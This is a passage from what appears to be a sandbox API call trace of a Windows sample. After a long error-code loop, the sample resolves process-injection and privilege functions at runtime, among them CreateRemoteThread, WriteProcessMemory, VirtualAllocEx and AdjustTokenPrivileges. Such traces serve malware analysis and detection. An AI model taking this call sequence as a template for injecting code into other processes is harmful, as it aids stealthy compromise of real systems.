() returned 0x329 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x32d) [0301.631] GetLastError () returned 0x32d [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x331) [0301.631] GetLastError () returned 0x331 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x335) [0301.631] GetLastError () returned 0x335 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x339) [0301.631] GetLastError () returned 0x339 [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x33d) [0301.631] GetLastError () returned 0x33d [0301.631] GetCurrentThread () returned 0xfffffffe [0301.631] SetLastError (dwErrCode=0x341) [0301.632] GetLastError () returned 0x341 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x345) [0301.632] GetLastError () returned 0x345 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x349) [0301.632] GetLastError () returned 0x349 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x34d) [0301.632] GetLastError () returned 0x34d [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x351) [0301.632] GetLastError () returned 0x351 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x355) [0301.632] GetLastError () returned 0x355 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x359) [0301.632] GetLastError () returned 0x359 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x35d) [0301.632] GetLastError () returned 0x35d [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x361) [0301.632] GetLastError () returned 0x361 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x365) [0301.632] GetLastError () returned 0x365 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x369) [0301.632] GetLastError () returned 0x369 [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x36d) [0301.632] GetLastError () returned 0x36d [0301.632] GetCurrentThread () returned 0xfffffffe [0301.632] SetLastError (dwErrCode=0x371) [0301.633] GetLastError () returned 0x371 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x375) [0301.633] GetLastError () returned 0x375 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x379) [0301.633] GetLastError () returned 0x379 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x37d) [0301.633] GetLastError () returned 0x37d [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x381) [0301.633] GetLastError () returned 0x381 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x385) [0301.633] GetLastError () returned 0x385 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x389) [0301.633] GetLastError () returned 0x389 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x38d) [0301.633] GetLastError () returned 0x38d [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x391) [0301.633] GetLastError () returned 0x391 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x395) [0301.633] GetLastError () returned 0x395 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x399) [0301.633] GetLastError () returned 0x399 [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x39d) [0301.633] GetLastError () returned 0x39d [0301.633] GetCurrentThread () returned 0xfffffffe [0301.633] SetLastError (dwErrCode=0x3a1) [0301.634] GetLastError () returned 0x3a1 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3a5) [0301.634] GetLastError () returned 0x3a5 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3a9) [0301.634] GetLastError () returned 0x3a9 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3ad) [0301.634] GetLastError () returned 0x3ad [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3b1) [0301.634] GetLastError () returned 0x3b1 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3b5) [0301.634] GetLastError () returned 0x3b5 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3b9) [0301.634] GetLastError () returned 0x3b9 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3bd) [0301.634] GetLastError () returned 0x3bd [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3c1) [0301.634] GetLastError () returned 0x3c1 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3c5) [0301.634] GetLastError () returned 0x3c5 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.634] SetLastError (dwErrCode=0x3c9) [0301.634] GetLastError () returned 0x3c9 [0301.634] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3cd) [0301.635] GetLastError () returned 0x3cd [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3d1) [0301.635] GetLastError () returned 0x3d1 [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3d5) [0301.635] GetLastError () returned 0x3d5 [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3d9) [0301.635] GetLastError () returned 0x3d9 [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3dd) [0301.635] GetLastError () returned 0x3dd [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3e1) [0301.635] GetLastError () returned 0x3e1 [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] SetLastError (dwErrCode=0x3e5) [0301.635] GetLastError () returned 0x3e5 [0301.635] GetCurrentThread () returned 0xfffffffe [0301.635] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x100) returned 0x485f5a8 [0301.635] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x373c) returned 0x47e04a0 [0301.636] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.636] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6c8 [0301.636] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0301.636] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0301.636] lstrlenA (lpString="kernel32.dll") returned 12 [0301.640] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.640] lstrlenA (lpString="GetModuleHandleA") returned 16 [0301.640] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.640] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.640] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6c8 [0301.641] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0301.641] lstrlenA (lpString="kernel32.dll") returned 12 [0301.641] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.641] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0301.641] lstrlenA (lpString="GetProcAddress") returned 14 [0301.641] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.641] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x19) returned 0x485f6b0 [0301.641] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0301.641] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0301.641] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.641] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.641] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0301.641] lstrlenA (lpString="Process32First") returned 14 [0301.641] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.642] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.642] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0301.642] lstrlenA (lpString="Process32Next") returned 13 [0301.642] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.642] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.642] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0301.642] lstrlenA (lpString="Module32First") returned 13 [0301.642] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.642] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.643] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0301.643] lstrlenA (lpString="Module32Next") returned 12 [0301.643] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.643] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f6b0 [0301.643] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0301.643] lstrlenA (lpString="CreateRemoteThread") returned 18 [0301.643] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.644] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f6b0 [0301.644] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0301.644] lstrlenA (lpString="WriteProcessMemory") returned 18 [0301.644] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.644] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x12) returned 0x485f6b0 [0301.644] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0301.644] lstrlenA (lpString="ReadProcessMemory") returned 17 [0301.644] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.644] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.645] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0301.645] lstrlenA (lpString="OpenProcess") returned 11 [0301.645] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.645] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.645] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0301.645] lstrlenA (lpString="VirtualAllocEx") returned 14 [0301.645] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.645] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.645] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0301.645] lstrlenA (lpString="VirtualFreeEx") returned 13 [0301.645] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.645] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.646] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0301.646] lstrlenA (lpString="VirtualProtect") returned 14 [0301.646] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.646] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x14) returned 0x485f6b0 [0301.646] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0301.646] lstrlenA (lpString="WaitForSingleObject") returned 19 [0301.646] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.646] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.646] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0301.646] lstrlenA (lpString="SetLastError") returned 12 [0301.646] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.646] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f6b0 [0301.647] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0301.647] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0301.647] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.647] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x15) returned 0x485f6b0 [0301.647] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0301.647] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0301.647] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.647] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.647] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0301.647] lstrlenA (lpString="CreateProcessA") returned 14 [0301.647] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.647] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f6b0 [0301.647] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0301.647] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0301.647] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.647] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.648] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0301.648] lstrlenA (lpString="SetFilePointer") returned 14 [0301.648] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.648] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.648] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0301.648] lstrlenA (lpString="SetEndOfFile") returned 12 [0301.648] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.648] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.648] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0301.648] lstrlenA (lpString="FindFirstFileA") returned 14 [0301.648] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.648] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.649] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0301.649] lstrlenA (lpString="FindNextFileA") returned 13 [0301.649] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.649] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f6b0 [0301.649] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0301.649] lstrlenA (lpString="FindClose") returned 9 [0301.649] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.649] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.649] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0301.649] lstrlenA (lpString="CreateFileA") returned 11 [0301.650] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.650] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.650] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0301.650] lstrlenA (lpString="CreateFileW") returned 11 [0301.650] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.650] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x9) returned 0x485f6b0 [0301.650] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0301.650] lstrlenA (lpString="ReadFile") returned 8 [0301.650] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.650] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f6b0 [0301.650] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0301.650] lstrlenA (lpString="WriteFile") returned 9 [0301.651] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.651] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.651] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0301.651] lstrlenA (lpString="CloseHandle") returned 11 [0301.651] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.651] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xc) returned 0x485f6b0 [0301.651] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0301.651] lstrlenA (lpString="DeleteFileA") returned 11 [0301.651] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.651] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.652] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0301.652] lstrlenA (lpString="LoadLibraryA") returned 12 [0301.652] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.652] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f6b0 [0301.652] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0301.652] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0301.652] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.652] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f6b0 [0301.653] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0301.653] lstrlenA (lpString="MoveFileA") returned 9 [0301.653] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.653] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f6b0 [0301.653] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0301.653] lstrlenA (lpString="LocalFree") returned 9 [0301.653] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.653] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.653] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0301.653] lstrlenA (lpString="CreateDirectoryA") returned 16 [0301.653] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.653] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f6b0 [0301.654] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0301.654] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0301.654] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.654] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.654] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0301.654] lstrlenA (lpString="CreateThread") returned 12 [0301.654] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.654] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xb) returned 0x485f6b0 [0301.654] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0301.654] lstrlenA (lpString="OpenThread") returned 10 [0301.654] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.654] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1a) returned 0x485f6b0 [0301.655] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0301.655] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0301.655] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.655] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.655] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0301.655] lstrlenA (lpString="VirtualProtectEx") returned 16 [0301.655] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.655] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x13) returned 0x485f6b0 [0301.655] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0301.655] lstrlenA (lpString="GetFileAttributesW") returned 18 [0301.655] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.655] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.655] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0301.656] lstrlenA (lpString="FindResourceA") returned 13 [0301.656] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.656] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.656] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0301.656] lstrlenA (lpString="SizeofResource") returned 14 [0301.656] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.656] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.656] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0301.656] lstrlenA (lpString="LoadResource") returned 12 [0301.656] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.656] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xf) returned 0x485f6b0 [0301.656] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0301.656] lstrlenA (lpString="CreateProcessW") returned 14 [0301.656] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.656] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x17) returned 0x485f6b0 [0301.657] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0301.657] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0301.657] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.657] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x1b) returned 0x485f6b0 [0301.657] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0301.657] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0301.657] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.657] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x11) returned 0x485f6b0 [0301.657] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0301.657] lstrlenA (lpString="GetThreadContext") returned 16 [0301.657] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.657] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xa) returned 0x485f6b0 [0301.657] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0301.657] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x19) returned 0x485f6c8 [0301.657] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0301.657] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0301.658] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.658] lstrlenA (lpString="ntdll.dll") returned 9 [0301.658] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.658] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.658] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0301.658] lstrlenA (lpString="RtlGetVersion") returned 13 [0301.658] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.658] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xd) returned 0x485f6b0 [0301.658] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0301.658] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0x16) returned 0x485f6c8 [0301.658] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0301.658] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0301.658] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6c8 | out: hHeap=0x47e0000) returned 1 [0301.658] lstrlenA (lpString="advapi32.dll") returned 12 [0301.659] HeapFree (in: hHeap=0x47e0000, dwFlags=0x0, lpMem=0x485f6b0 | out: hHeap=0x47e0000) returned 1 [0301.659] RtlAllocateHeap (HeapHandle=0x47e0000, Flags=0x8, Size=0xe) returned 0x485f6b0 [0301.659] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0301.659] lstrlenA (lpString="RegOpenKeyExA") returned 13 